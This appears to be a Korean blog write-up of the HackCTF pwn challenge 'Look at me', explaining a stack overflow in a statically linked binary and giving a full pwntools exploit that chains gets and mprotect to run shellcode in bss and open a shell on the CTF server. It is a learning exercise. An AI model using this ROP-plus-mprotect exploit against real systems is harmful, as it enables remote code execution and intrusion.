[HackCTF] Look at me 풀이 (250p)
Wargame/HackCTF

[HackCTF] Look at me 풀이 (250p)

 

 

풀이

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)


Hellooooooo라는 문구가 뜨고 입력을 받고 프로그램을 종료한다.


누가봐도 v1에 overflow가 일어난다.

간단하게 ROP로 풀어주면 될 듯 하지만, 이 바이너리는 statically linked다.

오래전에 풀어서 기억은 잘 안나는데 아마 mprotect로 풀었던 거 같다.

 

mprotect 함수는 NX bit가 걸려있어도, 메모리 영역의 권한을 바꿔 쉘 코드를 실행할 수 있게 만들어준다.

int mprotect(void *addr, size_t len, int prot);

 

addr에는 메모리 주소, len에는 길이, prot에는 권한을 넣어주면 된다.

주의할 점은 addr의 주소가 0x1000의 배수여야 한다.

 

ROP를 이용해 bss 위치에 해당하는 주소에 쉘코드를 넣고 mprotect로 권한을 바꿔주면 된다.


from pwn import *
context.log_level = 'debug'

#p = process('./lookatme')
p = remote('ctf.j0n9hyun.xyz',3017)
e = ELF('./lookatme')
bss = 0x80eaf80
pr = 0x80481c9
pppr = 0x80483c8
gets = e.symbols['gets']
mprotect = e.symbols['mprotect']
shellcode = asm(shellcraft.i386.linux.sh())

payload = 'A'*28

payload += p32(gets)
payload += p32(pr)
payload += p32(bss)

payload += p32(mprotect)
payload += p32(pppr)
payload += p32(0x80ea000)
payload += p32(0x1000)
payload += p32(0x7)

payload += p32(bss)

p.sendlineafter('o\n', payload)
p.sendline(shellcode)
p.interactive()

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Pwning 풀이 (300p)  (0) 2020.12.28
[HackCTF] Gift 풀이 (250p)  (0) 2020.12.28
[HackCTF] Beginner_Heap 풀이 (250p)  (0) 2020.12.28
[HackCTF] RTL_Core 풀이 (250p)  (0) 2020.08.24
[HackCTF] Random Key 풀이 (200p)  (0) 2020.08.24